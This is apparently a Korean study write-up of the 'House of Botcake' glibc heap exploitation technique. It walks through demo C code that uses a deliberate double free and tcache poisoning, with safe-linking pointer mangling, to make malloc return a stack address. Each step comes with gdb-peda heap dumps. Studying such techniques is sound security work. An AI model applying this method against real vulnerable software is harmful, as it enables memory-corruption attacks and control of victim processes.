환경
Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64
요약
free시켰을때 tcache인 경우, safe-linking 보호기법이 적용되지만
unsorted bin인 경우, safe-linking 보호기법이 적용되지 않는다!
해당 기법은 tcache-poisoning 기법을 통해 메모리 할당받때
스택 범위 주소로 할당받는 기법 중 하나이다.
방법은 다음과 같다.
1. 추후 free를 통해 tcache 리스트를 채우기 위해 7개의 청크((malloc(0x100)
)를 할당한다.
2. 추후 병합을 위해 prev라는 청크 하나를 할당(malloc(0x100)
),
a victim 청크 하나 할당(malloc(0x100),
그리고 병합방지를 위해 패딩 청크 하나 할당한다.(malloc(0x10)
)
3. 이제 청크 오버래핑(chunk overlapping)을 발생시킬 수 있다.
1번 과정에 있었던 x[0]~x[6]까지 모두 할당해제한다. 이는 tcache를 전부 채우기 위함.
4. victim a 청크를 해제하여 unsorted bin
에 추가되도록 만든다.
5. prev 청크를 해제하여 victim a 청크와 병합(consolidate)되도록 만든다.
6. tcache 리스트에서 하나 꺼내고, (malloc(0x100)
),
a victim 청크를 다시 해제하여(free(a)
) tcache 리스트에 추가한다.
- 이제 청크 오버래핑 프리미티브를 확보했다.
이 프리미티브를 통해 객체, 힙 메타데이터 등을 직접 읽고 쓸 수 있다.
아래에서는 tcache-poisoning 공격기법을 사용한다.
- unsorted bin에서 오버래핑된 청크를 가져온다..
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
→ malloc(prev_sz + a victim sz + 0x10) - 오버래핑된 청크를 사용해
victim->next
포인터를 제어한다.unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
-> free된 victim a의 fd값을 원하는 주소값(eg.target; 스택범위 주소)으로 조작 (safe-linking 적용 필요).
8. tcache에서 a victim 청크를 다시 가져온다. (a = malloc(0x100)
)
이렇게 하면 target이 tcache 맨 위에 위치하게 된다.
9. tcache에서 target 청크를 가져온다. (intptr_t *target = malloc(0x100);
)
가져오면, 스택 범위의 주소로 할당받게 된다!
빌드 특이사항
-Os
옵션으로 컴파일하면 안됨.
gcc -O0 -o house_of_botcake house_of_botcake.c
내용
이 공격은 다음 커밋에서 도입된 제약을 우회해야 합니다: https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
만약 사용하는 libc에 해당 제약이 포함되어 있지 않다면, victim을 이중 해제(double free)한 후 단순한 tcache 포이즈닝(tcache poisoning)을 수행할 수 있습니다. 그리고 이 기법의 이상한 이름에 대해 @anton00b 및 @subwire에게 감사드립니다.
1.
먼저, 버퍼링을 비활성화하여 _IO_FILE
이 힙에 간섭하지 않도록 합니다.
이 파일은 malloc
을 속여 임의의 위치(이 데모에서는 스택)에 대한 포인터를 반환하도록 만드는 강력한 tcache poisoning attack을 보여줍니다. 이 공격은 오직 double free에만 의존합니다.
malloc()
이 반환하도록 만들고자 하는 주소, 즉 타겟 주소는 스택 범위인 0x7fffffffe020
이다.
힙 레이아웃 준비히는데 앞서,
나중에 tcache 리스트를 채우기 위해 7개의 청크((malloc(0x100)
)를 할당한다.
코드:
int main() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */ // disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL); // introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n"); // prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var); // prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); }
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Used None None 0x5555555593a0 0x0 0x110 Used None None 0x5555555594b0 0x0 0x110 Used None None 0x5555555595c0 0x0 0x110 Used None None 0x5555555596d0 0x0 0x110 Used None None 0x5555555597e0 0x0 0x110 Used None None 0x5555555598f0 0x0 0x110 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559a00 (size : 0x20600) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$

2.
나중에 병합(consolidation)을 위해 청크 하나를 할당함: 이전(prev) 주소 @ 0x555555559a10
피해자(victim) 청크를 할당함: a @ 0x555555559b20
병합을 방지하기 위해 패딩 청크를 할당함.
코드:
intptr_t *prev = malloc(0x100); printf("Allocating a chunk for later consolidation: prev @ %p\n", prev); intptr_t *a = malloc(0x100); printf("Allocating the victim chunk: a @ %p\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10);
결과:
Allocating a chunk for later consolidation: prev @ 0x555555559a10 Allocating the victim chunk: a @ 0x555555559b20 Allocating a padding to prevent consolidation.
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Used None None 0x5555555593a0 0x0 0x110 Used None None 0x5555555594b0 0x0 0x110 Used None None 0x5555555595c0 0x0 0x110 Used None None 0x5555555596d0 0x0 0x110 Used None None 0x5555555597e0 0x0 0x110 Used None None 0x5555555598f0 0x0 0x110 Used None None 0x555555559a00 0x0 0x110 Used None None 0x555555559b10 0x0 0x110 Used None None 0x555555559c20 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$

3.
이제 청크 오버래핑(chunk overlapping)을 발생시킬 수 있음.
x[0]~x[6]까지 할당해제함. 이는 tcache를 전부 채우기 위함.
코드:
// cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); }
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x555555559 None 0x5555555593a0 0x0 0x110 Freed 0x55500000c7f9 None 0x5555555594b0 0x0 0x110 Freed 0x55500000c6e9 None 0x5555555595c0 0x0 0x110 Freed 0x55500000c199 None 0x5555555596d0 0x0 0x110 Freed 0x55500000c089 None 0x5555555597e0 0x0 0x110 Freed 0x55500000c3b9 None 0x5555555598f0 0x0 0x110 Freed 0x55500000c2a9 None 0x555555559a00 0x0 0x110 Used None None 0x555555559b10 0x0 0x110 Used None None 0x555555559c20 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x110) tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 gdb-peda$

4.
2단계: victim a 청크를 해제하여 unsorted bin
에 추가되도록 만든다.
malloc
으로 144바이트 이하(내부 청크 크기는 160바이트 이하)를 요청하면 해당 청크는 fastbin에 해당되고,
fastbin의 최대 내부 청크크기인 160바이트를 초과하면 unsorted bin에 해당된다.
따라서 victim a를 free시킨다면, 초과하므로 unsorted bin에 해당된다.
unsorted bin인 경우, safe-linking이 적용되지 않는다.
코드:
puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a);
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x555555559 None 0x5555555593a0 0x0 0x110 Freed 0x55500000c7f9 None 0x5555555594b0 0x0 0x110 Freed 0x55500000c6e9 None 0x5555555595c0 0x0 0x110 Freed 0x55500000c199 None 0x5555555596d0 0x0 0x110 Freed 0x55500000c089 None 0x5555555597e0 0x0 0x110 Freed 0x55500000c3b9 None 0x5555555598f0 0x0 0x110 Freed 0x55500000c2a9 None 0x555555559a00 0x0 0x110 Used None None 0x555555559b10 0x0 0x110 Freed 0x7ffff7e03b20 0x7ffff7e03b20 0x555555559c20 0x110 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555559b10 (size : 0x110) (0x110) tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 gdb-peda$

5.
3단계: prev 청크를 해제하여 victim a 청크와 병합(consolidate)되도록 만들기.
코드:
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev);
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x555555559 None 0x5555555593a0 0x0 0x110 Freed 0x55500000c7f9 None 0x5555555594b0 0x0 0x110 Freed 0x55500000c6e9 None 0x5555555595c0 0x0 0x110 Freed 0x55500000c199 None 0x5555555596d0 0x0 0x110 Freed 0x55500000c089 None 0x5555555597e0 0x0 0x110 Freed 0x55500000c3b9 None 0x5555555598f0 0x0 0x110 Freed 0x55500000c2a9 None 0x555555559a00 0x0 0x220 Freed 0x7ffff7e03b20 0x7ffff7e03b20 0x555555559c20 0x220 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555559a00 (size : 0x220) (0x110) tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 gdb-peda$

6.
4단계: tcache 리스트에서 하나를 꺼낸 뒤, a victim 청크를 다시 해제하여 tcache 리스트에 추가한다.
코드:
malloc(0x100);
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x555555559 None 0x5555555593a0 0x0 0x110 Freed 0x55500000c7f9 None 0x5555555594b0 0x0 0x110 Freed 0x55500000c6e9 None 0x5555555595c0 0x0 0x110 Freed 0x55500000c199 None 0x5555555596d0 0x0 0x110 Freed 0x55500000c089 None 0x5555555597e0 0x0 0x110 Freed 0x55500000c3b9 None 0x5555555598f0 0x0 0x110 Freed 0x55500000c2a9 None 0x555555559a00 0x0 0x220 Freed 0x7ffff7e03b20 0x7ffff7e03b20 0x555555559c20 0x220 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555559a00 (size : 0x220) (0x110) tcache_entry[15](6): 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 gdb-peda$

코드2:
/*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/
결과2:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x555555559 None 0x5555555593a0 0x0 0x110 Freed 0x55500000c7f9 None 0x5555555594b0 0x0 0x110 Freed 0x55500000c6e9 None 0x5555555595c0 0x0 0x110 Freed 0x55500000c199 None 0x5555555596d0 0x0 0x110 Freed 0x55500000c089 None 0x5555555597e0 0x0 0x110 Freed 0x55500000c3b9 None 0x5555555598f0 0x0 0x110 Freed 0x55500000c2a9 None 0x555555559a00 0x0 0x220 Freed 0x7ffff7e03b20 0x7ffff7e03b20 0x555555559c20 0x220 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555559a00 (overlap chunk with 0x555555559b10(freed) ) (0x110) tcache_entry[15](7): 0x555555559b20 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 gdb-peda$

7.
이제 우리는 청크 오버래핑 프리미티브를 확보했습니다:
이 프리미티브를 통해 객체, 힙 메타데이터 등을 직접 읽고 쓸 수 있습니다.
아래에서는 청크 오버래핑 프리미티브를 사용하여 tcache 포이즈닝 공격을 수행합니다.
- unsorted bin에서 오버래핑된 청크를 가져옵니다.
- 오버래핑된 청크를 사용해
victim->next
포인터를 제어합니다.
코드:
puts("Now we have the chunk overlapping primitive:"); puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n"); puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack."); puts("Get the overlapping chunk from the unsorted bin."); intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10); puts("Use the overlapping chunk to control victim->next pointer."); // mangle the pointer since glibc 2.32 unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Used None None 0x5555555593a0 0x0 0x110 Used None None 0x5555555594b0 0x0 0x110 Used None None 0x5555555595c0 0x0 0x110 Used None None 0x5555555596d0 0x0 0x110 Used None None 0x5555555597e0 0x0 0x110 Used None None 0x5555555598f0 0x0 0x110 Used None None 0x555555559a00 0x0 0x220 Used None None 0x555555559c20 0x220 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x110) tcache_entry[15](7): 0x555555559b20 --> 0x7fffffffe030 --> 0xadfffffff8 (invaild memory) gdb-peda$

8.
tcache에서 a victim 청크를 다시 가져옵니다.
이렇게 하면 target이 tcache 맨 위에 위치하게 됩니다.
코드:
puts("Get back victim chunk from tcache. This will put target to tcache top."); a = malloc(0x100); int a_size = a[-1] & 0xff0; printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Used None None 0x5555555593a0 0x0 0x110 Used None None 0x5555555594b0 0x0 0x110 Used None None 0x5555555595c0 0x0 0x110 Used None None 0x5555555596d0 0x0 0x110 Used None None 0x5555555597e0 0x0 0x110 Used None None 0x5555555598f0 0x0 0x110 Used None None 0x555555559a00 0x0 0x220 Used None None 0x555555559c20 0x220 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x110) tcache_entry[15](6): 0x7fffffffe030 --> 0xadfffffff8 (invaild memory) gdb-peda$

9.
tcache에서 target 청크를 가져옵니다.
가져오면, 스택 범위의 주소로 할당받게 되며, 0xcafebabe 값을 써봅니다.
코드:
puts("Get the target chunk from tcache."); intptr_t *target = malloc(0x100); target[0] = 0xcafebabe; printf("target @ %p == stack_var @ %p\n", target, stack_var); assert(stack_var[0] == 0xcafebabe); return 0; }
결과:
Get the target chunk from tcache. target @ 0x7fffffffe030 == stack_var @ 0x7fffffffe030
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Used None None 0x5555555593a0 0x0 0x110 Used None None 0x5555555594b0 0x0 0x110 Used None None 0x5555555595c0 0x0 0x110 Used None None 0x5555555596d0 0x0 0x110 Used None None 0x5555555597e0 0x0 0x110 Used None None 0x5555555598f0 0x0 0x110 Used None None 0x555555559a00 0x0 0x220 Used None None 0x555555559c20 0x220 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559c40 (size : 0x203c0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x110) tcache_entry[15](5): 0xadfffffff8 (invaild memory) gdb-peda$